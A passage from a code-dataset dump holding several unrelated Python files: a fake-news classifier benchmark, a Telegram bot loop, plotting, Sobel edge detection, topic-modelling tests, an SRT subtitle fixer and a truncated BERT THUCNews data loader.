fake_target_names]\n\n# Format real test data, normalize classifier\nreal_test_data = np.array([np.array([[item[key][i].encode('ascii', 'ignore') for i in range(len(item[key]))], 0])\n for classifier in range(len(real_queries))\n for item in real_test_queries[classifier]\n for key in item if key == u'phraseChunks'])\n\n# Format fake test data, normalize classifier\nfake_test_data = np.array([np.array([[item[key][i].encode('ascii', 'ignore') for i in range(len(item[key]))], 1])\n for classifier in range(len(fake_queries))\n for item in fake_test_queries[classifier]\n for key in item if key == u'phraseChunks'])\n\n# Made train and test variables using train and test samples\nX_train = np.concatenate((real_data[:, 0], fake_data[:, 0]), axis=0)\ny_train = np.concatenate((real_data[:, 1], fake_data[:, 1]), axis=0).tolist()\nX_test = np.concatenate((real_test_data[:, 0], fake_test_data[:, 0]), axis=0)\ny_test = np.concatenate((real_test_data[:, 1], fake_test_data[:, 1]), axis=0).tolist()\n\nX_train_vote = X_train\ny_train_vote = y_train\nX_test_vote = X_test\ny_test_vote = y_test \n\n# Required function for tokenizing and preprocessing data since it is a list, not raw text.\ndef getChunks(sample):\n for word in sample:\n yield word\n\nprint(\"Extracting features from the training data using a sparse vectorizer\")\nt0 = time()\nif opts.use_hashing:\n vectorizer = HashingVectorizer(analyzer=getChunks, stop_words='english', alternate_sign=False,\n n_features=opts.n_features)\n X_train = vectorizer.transform(X_train)\nelse:\n #vectorizer = TfidfVectorizer(analyzer=getChunks, sublinear_tf=True, use_idf=False, max_df=0.5)\n vectorizer = CountVectorizer(analyzer=getChunks)\n #vectorizer = TfidfVectorizer(analyzer=getChunks, sublinear_tf=True, min_df=1, max_df=6)\n X_train = vectorizer.fit_transform(X_train)\nduration = time() - t0\nprint(\"done in %fs\" % duration)\nprint(\"n_samples: %d, n_features: %d\" % X_train.shape)\nprint()\n\nprint(\"Extracting features from the test data using the same vectorizer\")\nt0 = time()\nX_test = vectorizer.transform(X_test)\nduration = time() - t0\nprint(\"done in %fs\" % duration)\nprint(\"n_samples: %d, n_features: %d\" % X_test.shape)\nprint()\n\n# mapping from integer feature name to original token string\nif opts.use_hashing:\n feature_names = None\nelse:\n feature_names = vectorizer.get_feature_names()\n\nif opts.select_chi2:\n print(\"Extracting %d best features by a chi-squared test\" %\n opts.select_chi2)\n t0 = time()\n ch2 = SelectKBest(chi2, k=opts.select_chi2)\n X_train = ch2.fit_transform(X_train, y_train)\n X_test = ch2.transform(X_test)\n if feature_names:\n # keep selected feature names\n feature_names = [feature_names[i] for i\n in ch2.get_support(indices=True)]\n print(\"done in %fs\" % (time() - t0))\n print()\n\nif feature_names:\n feature_names = np.asarray(feature_names)\n\n\ndef trim(s):\n \"\"\"Trim string to fit on terminal (assuming 80-column display)\"\"\"\n return s if len(s) <= 80 else s[:77] + \"...\"\n\n# #############################################################################\n# Better performing pipelines\n\ncentroid_pipe = Pipeline([\n ('cv', CountVectorizer(analyzer=getChunks, min_df=1, max_df=6)),\n ('ncc', NearestCentroid())\n])\nbernoulli_pipe = Pipeline([\n ('cv', CountVectorizer(analyzer=getChunks, min_df=1, max_df=6)),\n ('bnb', BernoulliNB(alpha=0.0128125))\n])\nsgd_pipe = Pipeline([\n ('tfidf', TfidfVectorizer(analyzer=getChunks, sublinear_tf=True, use_idf=False, max_df=0.5, stop_words='english')),\n ('sgd', SGDClassifier(alpha=.0001, max_iter=50, penalty='l1'))\n])\nperceptron_pipe = Pipeline([\n ('tfidf', TfidfVectorizer(analyzer=getChunks, sublinear_tf=True, use_idf=False, max_df=0.5, stop_words='english')),\n ('pc', Perceptron(max_iter=50, penalty='l1'))\n])\nadaboost_pipe = Pipeline([\n ('cv', CountVectorizer(analyzer=getChunks)),\n ('ada', AdaBoostClassifier(base_estimator=RandomForestClassifier(n_estimators=100), n_estimators=100))\n])\nrandomforest_pipe = Pipeline([\n ('cv', CountVectorizer(analyzer=getChunks)),\n ('rfc', RandomForestClassifier(n_estimators=100))\n])\nknn_pipeline = Pipeline([\n ('cv', CountVectorizer(analyzer=getChunks)),\n ('knn', KNeighborsClassifier(n_neighbors=5))\n])\n\n# #############################################################################\n# Benchmark classifiers\ndef benchmark(clf):\n print('_' * 80)\n print(\"Training: \")\n print(clf)\n t0 = time()\n clf.fit(X_train, y_train)\n train_time = time() - t0\n print(\"train time: %0.3fs\" % train_time)\n\n t0 = time()\n pred = clf.predict(X_test)\n test_time = time() - t0\n print(\"test time: %0.3fs\" % test_time)\n\n score = metrics.accuracy_score(y_test, pred)\n print(\"accuracy: %0.3f\" % score)\n\n if hasattr(clf, 'coef_'):\n print(\"dimensionality: %d\" % clf.coef_.shape[1])\n print(\"density: %f\" % density(clf.coef_))\n\n if opts.print_top10 and feature_names is not None:\n print(\"top 10 keywords per class:\")\n for i, label in enumerate(target_names):\n top10 = np.argsort(clf.coef_[i])[-10:]\n print(trim(\"%s: %s\" % (label, \" \".join(feature_names[top10]))))\n print()\n\n if opts.print_report:\n print(\"classification report:\")\n print(metrics.classification_report(y_test, pred,\n target_names=target_names))\n\n if opts.print_cm:\n print(\"confusion matrix:\")\n print(metrics.confusion_matrix(y_test, pred))\n\n print()\n clf_descr = str(clf).split('(')[0]\n return clf_descr, score, train_time, test_time\n\n# #############################################################################\n# Benchmark classifiers\ndef benchmarkVote(clf, name):\n print('_' * 80)\n print(\"Training: \")\n print(clf)\n t0 = time()\n clf.fit(X_train_vote, y_train_vote)\n train_time = time() - t0\n print(\"train time: %0.3fs\" % train_time)\n\n t0 = time()\n pred = clf.predict(X_test_vote)\n test_time = time() - t0\n print(\"test time: %0.3fs\" % test_time)\n\n score = metrics.accuracy_score(y_test_vote, pred)\n print(\"accuracy: %0.3f\" % score)\n\n if hasattr(clf, 'coef_'):\n print(\"dimensionality: %d\" % clf.coef_.shape[1])\n print(\"density: %f\" % density(clf.coef_))\n\n print()\n clf_descr = str(clf).split('(')[0]\n return name, score, train_time, test_time\n\nresults = []\nfor clf, name in (\n (RidgeClassifier(tol=1e-2, solver=\"lsqr\"), \"Ridge Classifier\"),\n (PassiveAggressiveClassifier(max_iter=50), \"Passive-Aggressive\"),\n (KNeighborsClassifier(n_neighbors=5), \"kNN\"),\n (RandomForestClassifier(n_estimators=100), \"Random forest\")):\n print('=' * 80)\n print(name)\n results.append(benchmark(clf))\n\nfor penalty in [\"l2\", \"l1\"]:\n print('=' * 80)\n print(\"%s penalty\" % penalty.upper())\n # Train Liblinear model\n results.append(benchmark(LinearSVC(penalty=penalty, dual=False,\n tol=1e-3)))\n\n # Train SGD model\n results.append(benchmark(SGDClassifier(alpha=.0001, max_iter=50,\n penalty=penalty)))\n\n# Train SGD with Elastic Net penalty\nprint('=' * 80)\nprint(\"Elastic-Net penalty\")\nresults.append(benchmark(SGDClassifier(alpha=.0001, max_iter=50,\n penalty=\"elasticnet\")))\n\n# Train NearestCentroid without threshold\nprint('=' * 80)\nprint(\"NearestCentroid (aka Rocchio classifier)\")\nresults.append(benchmark(NearestCentroid()))\n\n# Train Knn pipeline\nprint('=' * 80)\nprint(\"KNN Pipeline\")\nresults.append(benchmarkVote(knn_pipeline, 'KNN Pipeline'))\n\n# Train SGD L1 pipeline\nprint('=' * 80)\nprint(\"SGD L1 Pipeline\")\nresults.append(benchmarkVote(sgd_pipe, 'SGD L1 Pipeline'))\n\n# Train RandomForest pipeline\nprint('=' * 80)\nprint(\"RandomForest Pipeline\")\nresults.append(benchmarkVote(randomforest_pipe, 'RandomForest Pipeline'))\n\n# Train NearestCentroid pipeline\nprint('=' * 80)\nprint(\"NearestCentroid Pipeline\")\nresults.append(benchmarkVote(centroid_pipe, 'NearestCentroid Pipeline'))\n\n# Train Perceptron Pipeline\nprint('=' * 80)\nprint(\"Perceptron Pipeline\")\nresults.append(benchmarkVote(perceptron_pipe, 'Perceptron Pipeline'))\n\n# Train Bernoulli Pipeline\nprint('=' * 80)\nprint(\"Bernoulli Naive Bayes Pipeline\")\nresults.append(benchmarkVote(bernoulli_pipe, 'BernoulliNB Pipeline'))\n\n# Train Voting Classifier\nprint('=' * 80)\nprint(\"Voting Classifier\")\npipes = [\n ('ncc', centroid_pipe),\n ('bnb', bernoulli_pipe),\n ('sgd', sgd_pipe),\n ('pc', perceptron_pipe),\n #('ada', adaboost_pipe),\n ('rfc', randomforest_pipe),\n ('knn', knn_pipeline)\n]\n\nresults.append(benchmarkVote(VotingClassifier(estimators=pipes, voting='hard'), 'VotingClassifier'))\n\n# Train AdaBoost Pipeline\n# print('=' * 80)\n# print(\"AdaBoost\")\n# results.append(benchmarkVote(adaboost_pipe, 'AdaBoost Pipeline'))\n\n# make some plots\n\nindices = np.arange(len(results))\n\nresults = [[x[i] for x in results] for i in range(4)]\n\nclf_names, score, training_time, test_time = results\ntraining_time = np.array(training_time) / np.max(training_time)\ntest_time = np.array(test_time) / np.max(test_time)\n\nplt.figure(figsize=(12, 8))\nplt.title(\"Score\")\nplt.barh(indices, score, .2, label=\"score\", color='navy')\nplt.barh(indices + .3, training_time, .2, label=\"training time\",\n color='c')\nplt.barh(indices + .6, test_time, .2, label=\"test time\", color='darkorange')\nplt.yticks(())\nplt.legend(loc='best')\nplt.subplots_adjust(left=.25)\nplt.subplots_adjust(top=.95)\nplt.subplots_adjust(bottom=.05)\n\nfor i, c in zip(indices, clf_names):\n plt.text(-.3, i, c)\n\nplt.show()","repo_name":"garrickmcmickell/FakeNewsDetection","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":15251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17925459154","text":"import json\nimport logging\nimport time\n\n\nimport TeleBotHandler\n\n\ndef main():\n formatsring = '%(asctime)s %(levelname)s:%(message)s'\n dateformat = '%Y-%m-%d %H:%M:%S'\n logging.basicConfig(filename='bot.log', format=formatsring, datefmt=dateformat, level=logging.INFO)\n\n with open('config.json', 'r') as cfg_file:\n data = json.load(cfg_file)\n new_offset = None\n\n while True:\n time.sleep(1)\n bot = TeleBotHandler.TeleBotHandler(data['token'])\n updates_list = bot.get_updates(new_offset)\n for update in updates_list:\n cur_update_id = update['update_id']\n message_key = bot.get_message_key(update)\n cur_chat_id = update[message_key]['chat']['id']\n cur_msg_id = update[message_key]['message_id']\n\n bot_response = bot.request_handler(update)\n\n bot.send_message(cur_chat_id, cur_msg_id, bot_response)\n new_offset = cur_update_id + 1\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wintermute0xd/telebot","sub_path":"telebot_main.py","file_name":"telebot_main.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14552831303","text":"import matplotlib.pyplot as plt\nfrom matplotlib.offsetbox import AnchoredText\nimport numpy as np\nimport matplotlib.patches as mpatches\n\nINFINITE = 5.00\n\nplt.title(\"GoalPostManagerPlot - Palla a filo palo\")\n\nConfig3 = [17,18,19,20,21,22,23,24];\n\t##C1 = portiere al centro, palla esterna sx sulla linea di fondo\tC2 = portiere al centro, palla esterna sx\tC3 = portiere a sx, palla esterna sx\tC4 = portiere a sx, palla esterna sx sulla linea di fondo\tC5-C8 = C1-C4 a dx\tC5-C8 la butta fuori\tC7 rimane attaccato a palo\n\t##C9 = portiere al centro, palla fuori dal palo\tC10 = portiere al centro, palla subito fuori dal palo\tC10 rimane attaccato a palo\tC11 = portiere a sx, palla subito fuori dal palo\tC12 = portiere a sx, palla fuori dal palo\tC13-C16 = C9-C12 a dx\tC14 butta fuori\n\t##C17 = portiere al centro, palla a filo palo più vicino\tC18 = portiere al centro, palla a filo palo\tC19 = portiere a sx, palla a filo palo più vicino\tC20 = portiere a sx, palla a filo palo\tC21-C24 = C17-C20 a dx\ntimesMe = [0.99, 0.99, 0.98, 0.98, 0.99, 0.95, 1.0, 0.97];\n\t##timesOld = [1.63, 1.64, 1.67, 1.60, INFINITE, 1.55, INFINITE, INFINITE,\n\t##\t INFINITE, 2.70, 2.75, 1.51, 2.55, INFINITE, INFINITE, 2.51,\n\t##\t 1.5, 2.0, 1.82, 1.01, 1.48, 1.46, 1.96, 0.98\n\t##\t ];\n\t\n\ntimesOld3 = [1.50, 2.00, 1.82, 1.01, 1.48, 1.46, 1.96, 0.98]\nDiff = np.subtract(timesOld3, timesMe)\nMean = Diff.sum()/8\nMean = round(Mean, 3)\nVariance = 0\nfor i in range(8):\n\tVariance += (Diff[i] - Mean)*(Diff[i] - Mean)\nVariace = Variance/8\nVariace = round(Variace, 3)\nnames = ['C17\\nPalla vicino palo sx,\\nPortiere al centro', 'C18\\nPalla filo palo sx,\\nPortiere al centro', 'C19\\nPalla vicino palo sx,\\nPortiere a sx', 'C20\\nPalla filo palo sx,\\nPortiere a sx', 'C21\\nPalla vicino palo dx,\\nPortiere al centro', 'C22\\nPalla filo palo dx,\\nPortiere al centro', 'C23\\nPalla vicino palo dx,\\nPortiere a dx', 'C24\\nPalla filo palo dx,\\nPortiere a dx']\nplt.bar(names, timesMe, width = -0.2, align='edge', color=\"b\", label = 'GoalPostManager')\nplt.bar(names, timesOld3, width = 0.2, align='edge', color=\"r\", label = 'BasikStriker')\n\n\nplt.ylabel(\"Tempo per segnare [m]\")\nplt.xlabel(\"Configurazioni\")\nplt.legend()\ntext = \"Differenza media = \" + str(Mean) + \"\\nVarianza = \" + str(Variance)\nfig, ax = plt.subplots()\nplt.title(\"Variazione nelle prestazioni - Palla a filo palo\")\n#ax.plot(names, timesMe, \"white\");\nax.bar(names, Diff, color=\"g\", label = 'Variazione di prestazione')\n\nat = AnchoredText(\n text, prop=dict(size=15), frameon=True, loc='upper left')\nat.patch.set_boxstyle(\"round,pad=0.,rounding_size=0.2\")\n\n\t##plt.xlim(0, 25);\nax.add_artist(at)\n\t\n\t##plt.xlim(0, 25);\nplt.legend();\nplt.ylabel(\"Variazione temporale [m]\")\nplt.xlabel(\"Configurazioni\")\t\nplt.show();\n\t\n","repo_name":"EliSantini/progetto_labIAGI","sub_path":"GoalPostManager_plot/subplot_palla_a_filo_palo.py","file_name":"subplot_palla_a_filo_palo.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11869513261","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimage\n\ndef show(images):\n for im in images:\n plt.figure()\n plt.imshow(im, cmap='gray')\n plt.show()\n\ndef abs_sobel_thresh(img, orient='x', thresh_min=0, thresh_max=255):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n sobel = cv2.Sobel(gray, cv2.CV_64F, 1, 0) if orient == 'x' else cv2.Sobel(gray, cv2.CV_64F, 0, 1)\n abs_sobel = np.absolute(sobel)\n scaled = np.uint8(255*abs_sobel/np.max(abs_sobel))\n binary = np.zeros_like(scaled)\n binary[(scaled <= thresh_max) & (scaled >= thresh_min)] = 1\n return binary\n\ndef mag_thresh(img, sobel_kernel=3, mag_thresh=(0,255)):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n abs_sobel = np.sqrt(sobelx**2 + sobely**2)\n scaled = np.uint8(255*abs_sobel/np.max(abs_sobel))\n binary = np.zeros_like(scaled)\n binary[(scaled <= mag_thresh[1]) & (scaled >= mag_thresh[0])] = 1\n return binary\n\n'''\nDirection of the gradient is computed with arctan(sobely/sobelx)\n'''\ndef dir_threshold(img, sobel_kernel=3, thresh=(0, np.pi/2)):\n gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n abs_sobelx = np.absolute(sobelx)\n abs_sobely = np.absolute(sobely)\n direction = np.arctan2(abs_sobely, abs_sobelx)\n binary = np.zeros_like(direction)\n binary[(direction <= thresh[1]) & (direction >= thresh[0])] = 1\n return binary\n\n\n\nimage = cv2.imread('signs_vehicles_xygrad.png')\n\nthresh_min = 20\nthresh_max = 100\n\nsobelx_binary = abs_sobel_thresh(image, 'x', thresh_min, thresh_max)\nsobely_binary = abs_sobel_thresh(image, 'y', thresh_min, thresh_max)\nsobelxy_binary = mag_thresh(image, 9, (thresh_min, thresh_max))\ndirection = dir_threshold(image, 15, (0.7,1.3))\n\nfinal = np.zeros_like(direction)\nfinal[(sobelx_binary==1)&(sobely_binary==1)&(sobelxy_binary==1)&(direction==1)] = 1\n\ncombined = np.zeros_like(direction)\ncombined[((sobelx_binary == 1) & (sobely_binary == 1)) | ((sobelxy_binary == 1) & (direction == 1))] = 1\n\nshow((image, sobelx_binary, sobely_binary, sobelxy_binary, direction, final, combined))\n\n","repo_name":"pandaive/chessboard_playground","sub_path":"sobel.py","file_name":"sobel.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17431230751","text":"import unittest\nimport nose\n\nfrom metapython.op.Op import *\nfrom metapython.op.std import *\nfrom metapython.op.topic_modelling import *\n\n################################################################################\n####################[ topic_modelling ]#########################################\n################################################################################\n\ndef series_equal(s1, s2, precision=2):\n\t\"\"\"\n\t\tgiven two series composed of floating point numbers,\n\t\tasserts that they are equal to 'precision' floating \n\t\tpoint numbers\n\t\"\"\"\n\treturn all(s1.round(precision) == s2.round(precision))\n\n\nclass Test_topic_modelling(unittest.TestCase):\n\n\tdef setUp(self):\n\t\tpass\n\n\tdef test_dictionary_fit(self):\n\t\tdf = pd.DataFrame([{'a':['this', 'is', 'a', 'test']}]*10)\n\t\tdictionary = dictionary_fit(col='\"a\"')(df)\n\t\tfor w in ['this', 'is', 'a', 'test']:\n\t\t\tself.assertIn(w, dictionary.values())\n\n\n\tdef test_dictionary_transform(self):\n\t\tdf = pd.DataFrame([{'a':['this', 'is', 'a', 'test']}]*10)\n\t\tdictionary = dictionary_fit(col='\"a\"')(df)\n\t\tdf = dictionary_transform(col='\"a\"')(df, dictionary)\n\t\tfor ix, w in enumerate([(0, 1), (1, 1), (2, 1), (3, 1)]):\n\t\t\tself.assertEquals((df['a_bow'].str.get(ix) == w).sum(), len(df))\n\n\n\tdef test_dictionary_fit_transform(self):\n\t\tdf = pd.DataFrame([{'a':['this', 'is', 'a', 'test']}]*10)\n\t\tdf, dictionary = dictionary_fit_transform(col='\"a\"')(df)\n\t\tfor w in ['this', 'is', 'a', 'test']:\n\t\t\tself.assertIn(w, dictionary.values())\n\t\tfor ix, w in enumerate([(0, 1), (1, 1), (2, 1), (3, 1)]):\n\t\t\tself.assertEquals((df['a_bow'].str.get(ix) == w).sum(), len(df))\n\n\n\tdef test_lda_fit(self):\n\t\tdf = pd.DataFrame([{'a':['this', 'is', 'a', 'test']}]*10)\n\t\tdf, dictionary = dictionary_fit_transform(col='\"a\"')(df)\n\t\tlda_model = lda_fit(col='\"a\"', num_topics=2)(df, dictionary)\n\t\tself.assertEquals(len(lda_model.show_topics()), 2)\n\n\n\tdef test_lda_transform(self):\n\t\tdf = pd.DataFrame([{'a':['this', 'is', 'a', 'test']}]*10)\n\t\tdf, dictionary = dictionary_fit_transform(col='\"a\"')(df)\n\t\tlda_model = lda_fit(col='\"a\"', num_topics=2)(df, dictionary)\n\t\tdf = lda_transform(col='\"a\"')(df, lda_model)\n\t\tself.assertEquals(len(df['a_lda'].iloc[0]), 2)\n\n\n\tdef test_lda_fit_transform(self):\n\t\tdf = pd.DataFrame([{'a':['this', 'is', 'a', 'test']}]*10)\n\t\tdf, dictionary = dictionary_fit_transform(col='\"a\"')(df)\n\t\tdf, lda_model = lda_fit_transform(col='\"a\"', num_topics=2)(df)\n\t\tself.assertEquals(len(lda_model.show_topics()), 2)\n\t\tself.assertEquals(len(df['a_lda'].iloc[0]), 2)\n","repo_name":"jayhack/metapython","sub_path":"metapython/tests/test_topic_modelling.py","file_name":"test_topic_modelling.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32545584943","text":"# fixes srt subtitles produced by ffmpeg converting youtube subtitles\n# based on https://gist.github.com/nimatrueway/4589700f49c691e5413c5b2df4d02f4f\n\n\nimport sys\nimport os\nimport srt # needs to be installed\nfrom datetime import timedelta\n\n# gooey is optional\ntry:\n from gooey import Gooey, GooeyParser\n use_gooey = True\nexcept ImportError:\n from argparse import ArgumentParser\n use_gooey = False\n\n\n\ndef fix_subtitle(subtitles):\n fixed_subtitles = []\n last_subtitle = None\n\n for subtitle in subtitles:\n if last_subtitle:\n subtitle.content = subtitle.content.strip()\n if not subtitle.content: # skip over empty subtitles\n continue\n\n # skip over super-short subtitles that basically contain what their previous subtitle contains,\n # and just prolong the previous subtitle\n if subtitle.end - subtitle.start < timedelta(milliseconds=150) and subtitle.content in last_subtitle.content:\n last_subtitle.end = subtitle.end\n continue\n\n # if the first line of the current subtitle is repeating the last line of the previous subtitle, remove it\n current_lines = subtitle.content.split(\"\\n\")\n last_lines = last_subtitle.content.split(\"\\n\")\n if current_lines[0] == last_lines[-1]:\n subtitle.content = \"\\n\".join(current_lines[1:])\n\n # if the current subtitle starts before the previous subtitle ends, adjust the previous subtitle's end time\n if subtitle.start < last_subtitle.end:\n last_subtitle.end = subtitle.start - timedelta(milliseconds=1)\n\n if last_subtitle:\n fixed_subtitles.append(last_subtitle)\n\n last_subtitle = subtitle\n\n if last_subtitle:\n fixed_subtitles.append(last_subtitle)\n\n return fixed_subtitles\n\n\n\ndef main_parser():\n if use_gooey:\n parser = GooeyParser(description=\"Fix subtitle timings and overlapping text\")\n parser.add_argument(\"in_folder\", metavar=\"Input Folder\", help=\"Folder containing subtitle files to fix\",\n widget=\"DirChooser\")\n parser.add_argument(\"out_folder\", metavar=\"Output Folder\", help=\"Folder to save fixed subtitle files\",\n widget=\"DirChooser\")\n\n else:\n parser = ArgumentParser(description=\"Fix subtitle timings and overlapping text\")\n\n parser.add_argument(\"in_folder\", metavar=\"Input Folder\", help=\"Folder containing subtitle files to fix\")\n parser.add_argument(\"out_folder\", metavar=\"Output Folder\", help=\"Folder to save fixed subtitle files\")\n\n return parser\n\ndef wrapped_main(in_folder, out_folder):\n dirlist=os.listdir(in_folder)\n\n for i,filename in enumerate(dirlist):\n if filename.endswith(\".srt\"):\n infile_path = os.path.join(in_folder, filename)\n outfile_path = os.path.join(out_folder, filename)\n\n with open(infile_path, \"r\",encoding=\"utf8\") as file:\n subtitle_text = file.read()\n\n subtitles = list(srt.parse(subtitle_text))\n fixed_subtitles = fix_subtitle(subtitles)\n fixed_subtitle_text = srt.compose(fixed_subtitles)\n\n with open(outfile_path, \"w\",encoding=\"utf8\") as new_file:\n new_file.write(fixed_subtitle_text)\n print(f\"{i+1} of {len(dirlist)}\")\n\nif use_gooey:\n @Gooey(program_name=\"Subtitle Fixer\")\n def main():\n parser = main_parser()\n parser.set_defaults(widget_type=\"DirChooser\")\n args = parser.parse_args()\n wrapped_main(args.in_folder, args.out_folder)\nelse:\n def main():\n parser = main_parser()\n args = parser.parse_args()\n wrapped_main(args.in_folder, args.out_folder)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"bindestriche/youtubesubsearcher","sub_path":"subtitle-overlap-fixer.py","file_name":"subtitle-overlap-fixer.py","file_ext":"py","file_size_in_byte":3811,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"5037416293","text":"from torch.utils.data.dataset import Dataset\nfrom transformers.data.processors.utils import DataProcessor, InputExample, InputFeatures\nimport dataclasses\nimport logging\nimport os\nimport sys\nfrom dataclasses import dataclass, field\nfrom typing import Callable, Dict, Optional, List, Union\nfrom enum import Enum\nimport time\n\nimport numpy as np\n\nfrom transformers import AutoConfig, AutoModelForSequenceClassification, AutoTokenizer, EvalPrediction, PreTrainedTokenizer\nfrom transformers import (\n HfArgumentParser,\n Trainer,\n TrainingArguments,\n set_seed,\n)\n\n\"\"\" 创建一个加载THUCNews数据集的库\n\"\"\"\nclass THUCNewsProcessor(DataProcessor):\n \"\"\"Processor for the CoLA data set (GLUE version).\"\"\"\n\n def _read_txt(self, filename):\n data = []\n with open(filename) as fin:\n for line in fin:\n data.append(line.strip().split(\",\", 1))\n return data\n\n def get_example_from_tensor_dict(self, tensor_dict):\n \"\"\"See base class.\"\"\"\n return InputExample(\n tensor_dict[\"idx\"].numpy(),\n tensor_dict[\"sentence\"].numpy().decode(\"utf-8\"),\n None,\n str(tensor_dict[\"label\"].numpy()),\n )\n\n def get_train_examples(self, data_dir):\n \"\"\"See base class.\"\"\"\n return self._create_examples(self._read_txt(os.path.join(data_dir, \"train.txt\")), \"train\")\n\n def get_dev_examples(self, data_dir):\n \"\"\"See base class.\"\"\"\n return self._create_examples(self._read_txt(os.path.join(data_dir, \"dev.txt\")), \"dev\")\n\n def get_test_examples(self, data_dir):\n \"\"\"See base class.\"\"\"\n return self._create_examples(self._read_txt(os.path.join(data_dir, \"test.txt\")), \"test\")\n\n def get_labels(self):\n \"\"\"See base class.\"\"\"\n return list(range(1, 15))\n\n def _create_examples(self, lines, set_type):\n \"\"\"Creates examples for the training, dev and test sets.\"\"\"\n test_mode = set_type == \"test\"\n examples = []\n for (i, line) in enumerate(lines):\n guid = \"%s-%s\" % (set_type, i)\n text_a = line[1]\n label = None if test_mode else int(line[0])\n\n # 这里的InputExample是一个非常简单的类,仅仅包含了text_a, text_b和label三个部分 \n # https://github.com/huggingface/transformers/blob/master/src/transformers/data/processors/utils.py#L31\n examples.append(InputExample(guid=guid, text_a=text_a, text_b=None, label=label))\n \n return examples\n\n@dataclass\nclass DataTrainingArguments:\n \"\"\"\n Arguments pertaining to what data we are going to input our model for training and eval.\n Using `HfArgumentParser` we can turn this class\n into argparse arguments to be able to specify them on\n the command line.\n \"\"\"\n\n task_name: str = field(metadata={\"help\": \"The name of the task to train on\"})\n data_dir: str = field(\n metadata={\"help\": \"The input data dir. Should contain the .txt files (or other data files) for the task.\"}\n )\n max_seq_length: int = field(\n default=128,\n metadata={\n \"help\": \"The maximum total input sequence length after tokenization. Sequences longer \"\n \"than this will be truncated, sequences shorter will be padded.\"\n },\n )\n overwrite_cache: bool = field(\n default=False, metadata={\"help\": \"Overwrite the cached training and evaluation sets\"}\n )\n\n def __post_init__(self):\n self.task_name = self.task_name.lower()\n\n\nclass Split(Enum):\n train = \"train\"\n dev = \"dev\"\n test = \"test\"\n\n\n\"\"\" 在这个function中,我们会把文本数据转化为可以传入BERT模型的index, mask等输入\n\"\"\"\ndef convert_examples_to_features(\n examples: List[InputExample],\n tokenizer: PreTrainedTokenizer,\n max_length: Optional[int] = None,\n task=None,\n label_list=None,\n output_mode=None,\n):\n if max_length is None:\n max_length = tokenizer.max_len\n\n processor = THUCNewsProcessor()\n if label_list is None:\n label_list = processor.get_labels()\n logger.info(\"Using label list %s for task %s\" % (label_list, task))\n if output_mode is None:\n output_mode = \"classification\"\n logger.info(\"Using output mode %s for task %s\" % (output_mode, task))\n\n label_map = {label: i for i, label in enumerate(label_list)}\n\n def label_from_example(example: InputExample) -> Union[int, float, None]:\n if example.label is None:\n return None\n if output_mode == \"classification\":\n return label_map[example.label]\n elif output_mode == \"regression\":\n return float(example.label)\n raise KeyError(output_mode)\n\n labels = [label_from_example(example) for example in examples]\n\n batch_encoding = tokenizer(\n [(example.text_a, example.text_b) for example in examples],\n max_length=max_length,\n padding=\"max_length\",\n truncation=True,\n )\n\n features = []\n for i in range(len(examples)):\n inputs = {k: batch_encoding[k][i] for k in batch_encoding}\n\n # https://github.com/huggingface/transformers/blob/master/src/transformers/data/processors/utils.py#L56\n # InputFeatures当中包含了input_ids, attention_mask, token_type_ids和label四个部分\n feature = InputFeatures(**inputs, label=labels[i])\n features.append(feature)\n\n for i, example in enumerate(examples[:5]):\n logger.info(\"*** Example ***\")\n logger.info(\"guid: %s\" % (example.guid))\n logger.info(\"features: %s\" % features[i])\n\n return features\n\n\n\"\"\" THUCNews这个库继承了PyTorch自带的Dataset库。转换成dataloader之后可以用来做训练和测试\n\"\"\"\nclass THUCNewsDataset(Dataset):\n \"\"\"\n This will be superseded by a framework-agnostic approach\n soon.\n \"\"\"\n\n args: DataTrainingArguments\n output_mode: str\n features: List[InputFeatures]\n\n def __init__(\n self,\n args: DataTrainingArguments,\n tokenizer: PreTrainedTokenizer,\n limit_length: Optional[int] = None,\n mode: Union[str, Split] = Split.train,\n cache_dir: Optional[str] = None,\n ):\n self.args = args\n self.processor = THUCNewsProcessor()\n self.output_mode = \"classification\"\n if isinstance(mode, str):\n try:\n mode = Split[mode]\n except KeyError:\n raise KeyError(\"mode is not a valid split name\")\n # Load data features from cache or dataset file\n label_list = self.processor.get_labels()\n self.label_list = label_list\n\n # Make sure only the first process in distributed training processes the dataset,\n # and the others will use the cache.\n\n logger.info(f\"Creating features from dataset file at {args.data_dir}\")\n\n if mode == Split.dev:\n examples = self.processor.get_dev_examples(args.data_dir)\n elif mode == Split.test:\n examples = self.processor.get_test_examples(args.data_dir)\n else:\n examples = self.processor.get_train_examples(args.data_dir)\n if limit_length is not None:\n examples = examples[:limit_length]\n self.features = convert_examples_to_features(\n examples,\n tokenizer,\n max_length=args.max_seq_length,\n label_list=label_list,\n output_mode=self.output_mode,\n )\n start = time.time()\n\n def __len__(self):\n return len(self.features)\n\n def __getitem__(self, i) -> InputFeatures:\n return self.features[i]\n\n def get_labels(self):\n return self.label_list\n\n\n\n\nlogger = logging.getLogger(__name__)\n\n\n@dataclass\nclass 